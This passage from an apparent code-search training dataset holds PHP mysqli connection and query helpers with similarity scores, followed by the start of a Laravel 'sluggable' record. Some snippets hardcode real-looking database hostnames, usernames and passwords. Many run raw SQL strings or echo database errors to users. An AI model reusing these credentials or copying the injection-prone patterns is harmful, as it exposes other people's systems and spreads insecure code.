dois paramentros.\n\t\tmysqli_set_charset($conexao,'utf8');\n\n\t\t//verficar se houve algum erro de conexao com banco de dados.\n\t\t//mysqli_connect_errno = se nao for 0 existe sim um erro com banco de dados.\n\t\t//mysqli_connect_error = mensagem do erro.\n\t\tif(mysqli_connect_errno()){\n\t\t\techo 'Erro ao tentar se conectar com banco de dados:'.mysqli_connect_error();\n\t\t}\n\t\t\n\t\treturn $conexao;\n\t}", "function conecta_alumno($nombrebase) {\n\n // --- Realizar la conexion\n @ $db = mysqli_pconnect($mihost,\"PequeLiante\",\"H@y59ONGs\"); \n\n if (!$db){\n echo mensaje_error('No se ha podido abrir la base de datos. Inténtelo más tarde',1);\n exit;\n }\n\n // --- Abrir la base de datos\n $mibase = mysqli_select_db($nombrebase);\n\n if (!$mibase){\n echo mensaje_error('No existe la base de datos donde se almacena la información. Inténtelo más tarde',1);\n exit;\n }\n }", "function query_insert_ret_es($query) {\n $db=connect_to_db();\n $esito = mysqli_query($db, $query);\n if (true)\techo \"INSERT failed: \" . mysqli_error($db) . \"<br>Query: \". $query;\n mysqli_close($db);\n return $esito;\n}", "function mysqli_connection() {\n\tglobal $MYSQLI_CONNECTION;\n\n\tif($MYSQLI_CONNECTION) {\n\t\treturn $MYSQLI_CONNECTION;\n\t}\n\n\t$MYSQLI_CONNECTION = new mysqli(Setting::get('Mysql.host'), Setting::get('Mysql.user'), Setting::get('Mysql.pass'), Setting::get('Mysql.db'));\n\n\tif (mysqli_connect_errno()) {\n \tthrow new ConnerException(\"Connect failed: %s\\n\". mysqli_connect_error());\n \texit();\n\t}\n\n\treturn $MYSQLI_CONNECTION;\n}", "function cons($var){\n$ret= mysqli_query($_SESSION['conexion_database'],$var) or die(mysqli_error($_SESSION['conexion_database']));\nreturn $ret; \n}", "function getConexion(){\r\n try{\r\n $conexion = new mysqli($this->host.\":\".$this->port, $this->user, $this->pass, $this->base);\r\n if($conexion->connect_errno){\r\n $conexion = \"SIN CONEXION A LA BASE DE DATOS: \".$conexion->connect_errno.\" - \".$conexion->connect_error;\r\n }\r\n }catch(Exception $ex){\r\n $conexion = \"Excepcion en la conexion: \".$ex->getMessage(); \r\n } \r\n return $conexion;\r\n }", "public function lasterror(){\n\t\treturn mysqli_error($this->connection);\t\n\t}", "private function mysqli_connection() {\n try {\n $mysqli = new mysqli($this->DB_HOST, $this->DB_USER, $this->DB_PASS, $this->DB_NAME);\n } catch (Exception $e) {\n exit($this->PAGINATION_TEXT_DB_NAME . $e->message);\n }\n $mysqli->set_charset($this->charset);\n $this->link_mysqi = $mysqli;\n }", "private function open_db_connection(){\n $this->connection = new mysqli(DB_HOST,DB_USER,DB_PASS,DB_NAME) \n or\n die(\"database connection failed\" . $this->connection->connect_error);\n \n }", "public function getConnectionObject(): ?\\mysqli;", "function db_connect() {\n $result = new mysqli('localhost', 'wieseld', 'hetfield1994', 'wieseld_Your_Average_Joe');\n \n if(!$result) {\n throw new Exception('Could not connect to database server');\n } else {\n //sets autocommit to true\n $result->autocommit(TRUE);\n return $result;\n }\n }", "function connectDB(){\n $conn = mysqli_connect(\"localhost\",\"root\",\"\",\"slim_bbdd\");\n if ($conn->connect_error){\n die(\"Failed to connecto to database\");\n }else{\n return $conn;\n }\n\n}", "function CrearConexion() {\n $connect = new mysqli(\"localhost\", \"root\", \"\", \"proycon_bodega\");\n if($connect->connect_error || $connect->error ){\n echo \"<script>alert('Error de Conexion con la base de datos \".\n $connect->connect_error.\" ERROR \".$connect->error.\"')</script>\";\n exit(); \n }\n else{\n return $connect;\n }\n }", "function connect_me(){\n\t$serveur='localhost';\n\t$utilisateur='root';\n\t$mdp='';\n\t$bd='clubbd';\n\t\t$co = new mysqli($serveur,$utilisateur,$mdp,$bd);\n\t\tif($co->connect_error){\n\t\t\tdie(\"Erreur de connexion !\" );\n\t\t}\n\t\treturn $co;\n}", "function goSQL($sql) {\n\t\t$res = $this->mysqli->query ( $sql );\n\t\t$err = $this->mysqli->connect_error;\n\t\t$this->errorInfo = $this->mysqli->error;\n\t\tif (! $err)\n\t\t\treturn $res;\n\t\telse\n\t\t\treturn false;\n\t}", "function connexioBD(){\n $conn = new mysqli('localhost', 'mmallofre', 'mmallofre', 'mmallofre_A6');\n if ($conn->connect_error) {\n die(\"Connection failed: \" . $conn->connect_error);\n }\n return $conn;\n}", "function db_connect() {\n $mysqli = new mysqli(DB_SERVER, DB_USER, DB_PASS, DB_NAME);\n \n if ($mysqli->connect_errno) {\n echo \"Failed to connect to MySQL: (\" . $mysqli->connect_errno . \") \" . $mysqli->connect_error;\n exit;\n }\n // else{\n // echo \"Connected\";\n // }\n\n return $mysqli;\n }", "function run_query($connection,$query){\n $strSQL=mysqli_query($connection,$query);\n $executed=false;\n if($strSQL){\n $exectued=true;\n }else{\n echo \"Error\".$connection->error;\n }\n \n return $executed;\n}", "function conectar()\n\t{\n $this->conexion = new \\mysqli($this->servidor,$this->usuario,$this->clave,$this->base) \n or die (\"Error de Conexion MySQL \".$this->conexion->connect_errno);\n $this->bandera = true;\n $this->conexion->set_charset(\"utf8\");\n return $this->conexion;\n }", "function query($conn,$sql)\n {\n $res=mysqli_query($conn,$sql);\n if(!$res)\n {\n die(\"query failed:\".mysqli_error($conn));\n }\n return $res;\n }", "function con()\n{\n$dbhost=\"localhost\";\n$dbuname=\"root\";\n$dbpassword=\"\";\n$dbname=\"online_test\";\n\n// Set connection to the database\n\n$con=new MySQLi($dbhost,$dbuname,$dbpassword,$dbname);\nif($con->connect_errno)\n{\n\n\t//if conncetion is not establised with database, then give error message\n\tdie(\"Not able to connect to database\".$con->connect_error);\n}\n else\n {\n \treturn $con;\n }\n}", "static function insert($sql,$err_message=\"Impossibile inserire dati\"){\n \n \n //open DB connection\n $mysqli = self::_DbConnect();\n \n //if there's no connection I return false\n if(!$mysqli): return false; endif;\n \n //execute query\n $result = $mysqli->query($sql);\n\n\n //if there's any warning I return false\n if($mysqli->warning_count):\n $warnings=mysqli_get_warnings($mysqli);\n Notify::developer($warnings->message);\n \n //close connection\n mysqli_close($mysqli);\n return false;\n endif;\n \n if($mysqli->insert_id):\n \n $insert_id=$mysqli->insert_id;\n \n //close connection\n mysqli_close($mysqli);\n \n return $insert_id;\n \n endif;\n \n // echo 'affected rows '.$mysqli->affected_rows.$mysqli->error.$sql;;\n return true;\n \n }", "public function connection(){\n //connect only once \n\n if($this->connect !== NULL){\n return $this->connect;\n }\n\n list($host,$username,$password,$database) = $this->config;\n\n if(($this->connect = @mysqli_connect($host,$username,$password,$database))){\n unset($host,$username,$password,$database);\n return $this->connect;\n }\n throw new MySqlAdapterException('Please check you configuration !!!! Error Connecting to the server:'.mysqli_connect_error());\n }", "function connectDB()\n{\n $mysqli = mysqli_connect(MYSQL_HOST, MYSQL_USER,MYSQL_PW,MYSQL_DB, MYSQL_PORT);\n if (mysqli_connect_errno($mysqli)) {\n\t\techo \"Failed to connect to MySQL: \" . mysqli_connect_error();\n\t\t\techo \"Failed to connect to MySQL: \" . mysqli_connect_error();\n\t\t\t\tdie;\n\t}else{\n return $mysqli;\n }\n}", "function chiudi_connessione($mysqli){\n $mysqli->close();\n}", "function select_sqli($select_query) {\n $connection = selectConnectionString();\n $queryresult = mysqli_query($connection, $select_query); \n if (! $queryresult){\n echo('Database error: ' . mysqli_error($connection));\n exit;\n }\n mysqli_close($connection);\n return $queryresult;\n }", "function connect_to_db($serveur,$utilisateur,$mdp,$bd){\n\t\t$co = new mysqli($serveur,$utilisateur,$mdp,$bd);\n\t\tif($co->connect_error){\n\t\t\tdie(\"Erreur de connexion !\" );\n\t\t}\n\t\treturn $co;\n}", "public function errno()\n {\n return @mysqli_errno();\n }", "function query_check($query) {\n global $connection; \n\n $result = mysqli_query($connection, $query); \n\n if (!$result) {\n die(\"<br>QUERY failed!\" . mysqli_error());\n }\n\n return $result;\n}", "function getCon() {\n $con=mysqli_connect('localhost', 'root', '', 'investr');\n\n // Check connection\n if (mysqli_connect_errno())\n echo \"Failed to connect to MySQL: \" . mysqli_connect_error();\n\n return $con;\n}", "function runSql ( // r - null == no records found/updated, false == error, success 0,1,2,3....n\n $mysql,\n $abind_params,\n $close = false,\n &$ref_status_text = ''\n){\n\n $ref_status_text = '';\n $conn = '';\n $sth = '';\n $result = false;\n \n $msg = '';\n \n $driver = new mysqli_driver();\n $driver->report_mode = MYSQLI_REPORT_OFF;\n \n //ini_set('display_errors', '0');\n \n try {\n \n if (!$conn = db_connect()) {\n $error = '';\n if (isset($conn->error)) {\n $error = $conn->error;\n }\n formatSessionMessage(\"runSql() db_connect() error\", 'danger', $msg, $error);\n setSessionMessage($msg, 'error');\n $ref_status_text = 'dberror';\n return false;\n }\n \n if (@!$sth = $conn->prepare($mysql)) {\n formatSessionMessage(\"runSql() prepare() error\", 'danger', $msg, $conn->error);\n setSessionMessage($msg, 'error');\n $ref_status_text = 'dberror';\n (!empty($sth) && @$sth->close());\n @$conn->close();\n return false;\n }\n \n if ($abind_params != '') {\n if (@!call_user_func_array(array($sth, 'bind_param'), refValues($abind_params))) {\n $error = '';\n if (isset($sth->error)) {\n $error = $sth->error;\n } else if (isset($conn->error)) {\n $error = $conn->error;\n }\n formatSessionMessage(\"runSql() bind_param() error\", 'danger', $msg, \"rs-3205 $error\");\n setSessionMessage($msg, 'error');\n $ref_status_text = 'dberror';\n (!empty($sth) && @$sth->close());\n @$conn->close();\n return false;\n }\n }\n \n if (@!$sth->execute()) {\n formatSessionMessage(\"runSql() execute() error: \", 'danger', $msg, $sth->error);\n setSessionMessage($msg, 'error');\n $ref_status_text = 'dberror';\n @$sth->close();\n @$conn->close();\n return false;\n }\n \n // ... right from the manual\n // An integer greater than zero indicates the number of rows affected or retrieved. \n // Zero indicates that no records were updated for an UPDATE statement, no rows \n // matched the WHERE clause in the query or that no query has yet been executed.\n // -1 indicates that the query returned an error. \n \n if($close){ // update action\n $result = $sth->affected_rows;\n if ($result === -1) { // There was an error. It didn't execute.\n $ref_status_text = 'error';\n return false;\n } else if ($result === false) { // This isn't spec'd but test anyway.\n $ref_status_text = 'false';\n return false;\n } else if ($result === 0) { // No record was found. No error.\n $ref_status_text = 'zero';\n return null;\n } else {\n $ref_status_text = 'number'; // Record was updated\n return $result;\n }\n } else {\n $meta = $sth->result_metadata();\n \n // http://us2.php.net/manual/en/mysqli-result.fetch-field.php\n // Returns the definition of one column of a result set as an object. Call \n // this function repeatedly to retrieve information about all columns in the result set. \n while ( $field = $meta->fetch_field() ) {\n $parameters[] = &$row[$field->name];\n } \n \n if (!$rtn = call_user_func_array(array($sth, 'bind_result'), refValues($parameters))) {\n if (isset($sth->error)) {\n formatSessionMessage(\"runSql() call_user_func_array() bind_result error: \", 'danger', $msg, \"mpdb-3253 \" . $sth->error);\n setSessionMessage($msg, 'error');\n $ref_status_text = 'dberror';\n @$sth->close();\n @$conn->close();\n return false;\n } elseif ($rtn === false) {\n formatSessionMessage(\"runSql() call_user_func_array() false \", 'danger', $msg, \"mpdb-3260\");\n setSessionMessage($msg, 'error');\n $ref_status_text = 'dberror';\n @$sth->close();\n @$conn->close();\n return false;\n }\n formatSessionMessage(\"runSql() call_user_func_array() unknown error \", 'danger', $msg, 'mpdb-3267');\n setSessionMessage($msg, 'error');\n $ref_status_text = 'dberror';\n @$sth->close();\n @$conn->close();\n return false;\n }\n \n while ( $sth->fetch() ) { \n $x = array(); \n foreach( $row as $key => $val ) { \n $x[$key] = $val; \n } \n $results[] = $x; \n }\n $result = (isset($results)) ? $results : null; // Nothing? Returns null;\n }\n\n } catch (mysqli_sql_exception $e) {\n $ermsg = \"\n runSql() mysqli_sql_exception \\n\n sql: $mysql \\n\\n\n MYSQL ERROR TO STRING: \" . $e->__toString();\n writeDataToFile($ermsg, __FILE__, __LINE__);\n $ref_status_text = 'dberror';\n } catch (exception $e) {\n $ermsg = \"\n runSql() exception \\n\n sql: $mysql \\n\\n\n exception: \" . $e->__toString();\n writeDataToFile($ermsg, __FILE__, __LINE__);\n $ref_status_text = 'dberror';\n }\n \n @ $sth->close();\n @ $conn->close();\n \n return $result;\n\n}", "public function connect_mysqli($params){\n if (!$params) throw new Exception('Params error');\n if (!$this->handler = new mysqli($params['host'],$params['login'],$params['password'],$params['db']))\n\t\t{\n\t\t\tthrow new Exception(mysqli_error($this->handler));\n\t\t}\n\t\t\n }", "function connect_db(){\n require_once 'config.php';\n \n $connectionStatus = mysqli_connect('localhost','root','','ocs');\n if(!$connectionStatus){\n echo \"Error connecting database\";\n die;\n }\n return $connectionStatus;\n}", "function ejecutar($sql){\n\t\t$res = mysqli_query($this->id,$sql);\t\n\t\t/*if (!$res) // error en la sentencia\n\t\t\tthrow new Exception (\"Error en la sentencia SQL\");*/\n\t\treturn $res;\n\t}", "static function conectar(){\n R::setup(\"mysql:host=\".CONFIG_HOST.\";dbname=\".CONFIG_BD,CONFIG_USER,CONFIG_PASS);\n\t\t\tself::$mysqli = new mysqli(CONFIG_HOST, CONFIG_USER, CONFIG_PASS, CONFIG_BD);\n\t\t\tself::$mysqli->set_charset('utf8');\n }", "function getDBConnection() {\n $servername = \"localhost\";\n $username = \"root\";\n $password = \"root\";\n $dbName = \"SkiWorldCup\";\n\n $conn = new mysqli($servername, $username, $password, $dbName) or die();\n\n if ($conn->connect_error) {\n error_log(\"Feil opprettelse av forbindelse til database:\" . mysqli_connect_error() . \"\\n\", 3, \"logg.txt\");\n die(\"Connection failed\");\n\n }\n return $conn;\n}", "function getResultOfPreparedStatement($result){\n try {\n if($result->num_rows > 0){\n $DbResult = $result->fetch_all(MYSQLI_ASSOC);\n return $DbResult;\n }\n } catch (Exception $e) {\n echo $e->getMessage();\n }\n}", "public function db_connect() {\n\t$connection = mysqli_connect('localhost:3306', 'root', '');\n if (!$connection) {\n\n // error_log('Error in establishing db connection :: '.mysql_error());\n throw new Exception('Error in establishing db connectio :: '.mysql_error());\n }\n $db = mysqli_select_db($connection,'studAttendaceDB');\n if (!$db) {\n //error_log('Error in selecting db :: '.mysql_error());\n throw new Exception('Error in selecting db :: '.mysqli_error());\n }\n\n \n //error_log(\"time == \".json_encode($r2));\n\n return $connection;\n }", "function desconectarBD($conexion){\n //Cierra la conexión y guarda el estado de la operación en una variable\n $close = mysqli_close($conexion);\n //Comprobamos si se ha cerrado la conexión correctamente\n if(!$close){\n echo 'Ha sucedido un error inexperado en la desconexion de la base de datos<br>';\n }\n //devuelve el estado del cierre de conexión\n return $close;\n }", "function confirm($result)\r\n{\r\n global $dataBaseConnection;\r\n if (!$result) {\r\n die(\"QUERY FAILED\" . mysqli_error($dataBaseConnection));\r\n }\r\n}", "public function __construct(){\n $this->connection = mysqli_connect($this->host, $this->root,$this->password,$this->db_name);\n if(!$this->connection){\n throw new Exception(\"database connection error\");\n }\n}", "function __construct()\n {\n $this->mysqli= new mysqli(\"localhost\", \"root\", \"\", \"gameofthrones\");\n if ($this->mysqli->connect_errno) {\n $this->error=true;\n }\n }", "public function doConnect() {\n\t\t\t\n\t\t\t$hookup = mysqli_connect(self::$server, self::$user, self::$pass, self::$db);\n\t\t\t\n\t\t\tif(mysqli_connect_error($hookup)) {\t\n\t\t\t\techo(\"Databse connection failure. Reason: \" . mysqli_connect_error());\n\t\t\t}\n\t\t\t\n\t\t\treturn $hookup;\n\t\t}", "function conexion(){\n\n\t\trequire(\"/home/cc409/pekes-tote/data/dbData.inc\");\n\t\t$conexion=new mysqli($host,$user,$pass,$database);\n\t\tif($conexion->connect_errno){\n \tdie('Error de Conexion '. $conexion->connect_errno .\" : \".$conexion->connect_error);\n }\n return $conexion;\n }", "function _connect_e() {\n static $link;\n if (!isset($link)) {\n if (!function_exists('mysqli_connect')) {\n return array(NULL, new DbError(\"Checking for mysqli Extension...\",\n \"Unable to connect to database.\",\n \"The mysqli extension is not available\"));\n }\n $link = mysqli_connect(OBIB_HOST,OBIB_USERNAME,OBIB_PWD,OBIB_DATABASE);\n if (!$link) {\n return array(NULL, new DbError(\"Connecting to database server...\",\n \"Cannot connect to database server.\",\n mysqli_error()));\n }\n $rc = mysqli_select_db($link, OBIB_DATABASE);\n if (!$rc) {\n return array(NULL, new DbError(\"Selecting database...\",\n \"Cannot select database.\",\n mysqli_error($link)));\n }\n }\n return array($link, NULL);\n }", "function login ()\n{\n \n $the_host = \"localhost\";\n $the_user = \"berndsat\";\n $the_pass = \"\";\n $the_db = \"satview\";\n $con = new mysqli ($the_host, $the_user, $the_pass,$the_db);\n if ($con->connect_errno) {\n // The connection failed. What do you want to do? \n // You could contact yourself (email?), log the error, show a nice page, etc.\n // You do not want to reveal sensitive information\n\n // Let's try this:\n echo \"Bad database connection<br>\";\n\n // Something you should not do on a public site, but this example will show you\n // anyways, is print out MySQL error related information -- you might log this\n echo \"Error: Failed to make a MySQL connection, here is why: <br>\\n\";\n echo \"Errno: \" . $mysqli->connect_errno . \"<br>\\n\";\n echo \"Error: \" . $mysqli->connect_error . \"<br>\\n\";\n \n // You might want to show them something nice, but we will simply exit\n return \"\";\n }\n return $con;\n}", "function login ()\n{\n \n $the_host = \"localhost\";\n $the_user = \"berndsat\";\n $the_pass = \"\";\n $the_db = \"satview\";\n $con = new mysqli ($the_host, $the_user, $the_pass,$the_db);\n if ($con->connect_errno) {\n // The connection failed. What do you want to do? \n // You could contact yourself (email?), log the error, show a nice page, etc.\n // You do not want to reveal sensitive information\n\n // Let's try this:\n echo \"Bad database connection<br>\";\n\n // Something you should not do on a public site, but this example will show you\n // anyways, is print out MySQL error related information -- you might log this\n echo \"Error: Failed to make a MySQL connection, here is why: <br>\\n\";\n echo \"Errno: \" . $mysqli->connect_errno . \"<br>\\n\";\n echo \"Error: \" . $mysqli->connect_error . \"<br>\\n\";\n \n // You might want to show them something nice, but we will simply exit\n return \"\";\n }\n return $con;\n}", "function run_query(string $query) {\n $connection = @mysqli_connect(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);\n if (mysqli_connect_errno()) {\n throw new Exception(\"Database connection failed: \" . mysqli_connect_error());\n }\n\n if(!$result = mysqli_query($connection, $query)) {\n throw new Exception(mysqli_error($connection));\n } else {\n return $result;\n }\n}", "function getSQLi(MySQLConfig $mysqlconf, ProgramState $state) {\n $mysqli = new mysqli($mysqlconf->host, $mysqlconf->user, $mysqlconf->password(), $mysqlconf->database);\n $sqlerror = $mysqli->connect_error;\n $state->sqlconnect = is_null($sqlerror);\n if (!$state->sqlconnect) {\n $state->sqlmessage = $sqlerror;\n $state->sqlerrno = $mysqli->connect_errno;\n }\n return $mysqli;\n}", "function abreConexao()\r\n {\r\n \t//Senha do MySQL\r\n \t//Nome de usuário do MySQL\r\n \t//Nome do banco de dados MySQL\r\n \treturn @ mysqli_connect(\"sql111.epizy.com\",\"epiz_22699421\",\"GlH4gylH7AX\", \"epiz_22699421_confeccao\");\r\n }", "function errorHandling ($mysqliObject) \n{\n if ($mysqliObject->error()) {\n $_SESSION['error'] = $mysqliObject->error();\n } else {\n return FALSE;\n }\n}", "function query($sql){\n $conexion=connectdb();\n\n if (!mysqli_query($conexion,$sql)){\n\t\t\t\t$errnum=mysqli_errno($conexion);\n echo(\"Error description: \" .$errnum.\"-\".mysqli_error($conexion));\n\t\t\t\t mysqli_close($conexion);\n\t\t\t\techo \"<script>document.location.href='index.php?err=\".$errnum.\"'</script>\";\n }else{\n\t\t\t\n \t mysqli_close($conexion);\n\t\t\t\techo \"<script>document.location.href='index.php'</script>\";\n\t\t\t}\n\t\t}" ]
[ "0.7530052", "0.7204338", "0.7204338", "0.7117669", "0.70619625", "0.70379883", "0.69511676", "0.69507015", "0.6933953", "0.69294155", "0.6888003", "0.68455595", "0.6820341", "0.68099827", "0.676897", "0.6763004", "0.6756549", "0.67343074", "0.67327595", "0.67265964", "0.6713698", "0.6696915", "0.6678632", "0.6661693", "0.66583145", "0.66432333", "0.66400737", "0.6614458", "0.6608186", "0.6605616", "0.6602314", "0.66021115", "0.65963745", "0.65744513", "0.65651715", "0.6541513", "0.6539431", "0.6532809", "0.6528829", "0.65254486", "0.6522098", "0.6517134", "0.65169543", "0.6514126", "0.65131366", "0.65073425", "0.649805", "0.6492629", "0.6482419", "0.64800173", "0.64767", "0.6455882", "0.64536744", "0.64495933", "0.6443094", "0.6440356", "0.6436131", "0.64221245", "0.6421421", "0.64203125", "0.6419504", "0.6417334", "0.6398215", "0.63931394", "0.6390411", "0.6369136", "0.63651067", "0.63618743", "0.6355138", "0.6350261", "0.63452166", "0.63401246", "0.63351613", "0.6325911", "0.6323413", "0.6322469", "0.6314026", "0.6312012", "0.6310906", "0.6307609", "0.6300566", "0.6298885", "0.6298136", "0.62979746", "0.6293422", "0.6286012", "0.6275512", "0.62660307", "0.6264382", "0.6254865", "0.6253166", "0.62420183", "0.62403363", "0.62392807", "0.62392807", "0.6238342", "0.62374806", "0.62328404", "0.62328213", "0.6231067" ]
0.62573624
89
Return the sluggable configuration array for this model.
public function sluggable() { return [ 'slug' => [ 'source' => 'title' ] ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function sluggable()\n {\n return [\n 'slug_subway' => [\n 'source' => 'slugsubways',\n 'unique' => false\n ],\n 'slug_district' => [\n 'source' => 'slugdistricts',\n 'unique' => false\n ],\n 'slug_area' => [\n 'source' => 'slugareas',\n 'unique' => false\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name',\n 'onUpdate' => false,\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name',\n ],\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name',\n ],\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => ['id', 'seo_name', 'company.name', 'municipality'],\n 'separator' => '-'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title',\n ],\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title',\n ],\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'sluglot'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title',\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'tags'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'slug_or_title',\n ],\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title',\n 'onUpdate' => true,\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug'=>[\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title',\n 'onUpdate' => true\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => ['seo_url', 'seo_url1']\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'method' => function ($value) {\n return $this->browseable ? $this->browseable->slugFallback($value) : '';\n }\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => ['title']\n ]\n ];\n }", "public function sluggable(): array\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable(): array\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable(): array\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable(): array\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable()\n\t{\n\t\treturn [\n\t\t\t'slug' => [\n\t\t\t\t'source' => 'name'\n\t\t\t]\n\t\t];\n\t}", "public function sluggable()\n {\n return [\n 'slug_name' => [\n 'source' => 'name'\n ]\n ];\n }", "public function sluggable(): array\n {\n return [\n 'slug' => [\n 'source' => 'title',\n ],\n ];\n }", "public function sluggable() : array\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable(): array\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ],\n 'translate_key' => [\n 'source' => 'privacyTranslateKey'\n ],\n 'description_translate_key' => [\n 'source' => 'privacyDescriptionTranslateKey'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'job_title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable(): array\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable(): array\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable(): array\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable(): array\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable(): array\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable(): array\n {\n return [\n 'slug' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'page_slug' => [\n 'source' => 'page_title',\n 'maxLength' => null,\n 'maxLengthKeepWords' => true,\n 'method' => null,\n 'separator' => '-',\n 'unique' => true,\n 'uniqueSuffix' => null,\n 'includeTrashed' => false,\n 'reserved' => null,\n 'onUpdate' => false\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'description'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name',\n 'maxLength' => 90\n ]\n ];\n }", "public function sluggable(): array\n\t{\n\t\treturn [\n\t\t\t'slug' => [\n\t\t\t\t'source' => 'name',\n\t\t\t],\n\t\t];\n\t}", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'judul'\n ]\n ];\n }", "public function sluggable(): array\n\t{\n\t\treturn [\n\t\t\t'slug' => [\n\t\t\t\t'source' => 'name'\n\t\t\t]\n\t\t];\n\t}", "public function sluggable(): array\n {\n return ['slug' => ['source' => 'title']];\n }", "public function sluggable()\n {\n return ['slug' =>\n ['source' => 'name',],\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'full_name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'ofi_direccion'\n ]\n ];\n }", "public function sluggable(): array\n {\n return [\n 'slug' => [\n 'source' => ['name', 'franchise']\n ]\n ];\n }", "public function sluggable(): array\n {\n return [\n 'slug' => [\n 'source' => 'judul'\n ]\n ];\n }", "public function sluggable()\n\t{\n\t\treturn [\n\t\t\t'slug' => [\n\t\t\t\t'source' => 'slug_or_title',\n\t\t\t],\n\t\t];\n\t}", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'name'\n ],\n 'slug_fa' => [\n 'source' => 'name_fa'\n ],\n ];\n }", "public function sluggable()\n {\n return [\n 'abbreviation' => [\n 'source' => 'abbreviation'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'slug' => [\n 'source' => 'titre'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'product_friendly_url' => [\n 'source' => 'name'\n ],\n ];\n }", "public function sluggable() {\n return [\n 'slug_curso' => [\n 'source' => 'titulo'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'name' => [\n 'source' => 'display_name'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'stripe_id' => [\n 'source' => 'name'\n ]\n ];\n }", "public function toArray()\n {\n \n return $this->getConfig();\n }", "public function sluggable()\n {\n return [\n 'alias' => [\n 'source' => 'title'\n ]\n ];\n }", "public function sluggable()\n {\n return [\n 'username' => [\n 'source' => 'name'\n ]\n ];\n }", "public static function getSlugList(){\n return Arr::flatten(self::all('slug')->toArray());\n }", "public function getSlugOptions(): SlugOptions\n {\n return SlugOptions::create()->generateSlugsFrom('title')->saveSlugsTo('slug');\n }", "public function getSlugOptions() : SlugOptions\n {\n return SlugOptions::create()\n ->generateSlugsFrom('title')\n ->saveSlugsTo('slug');\n }", "public function getSlugOptions() : SlugOptions\n {\n return 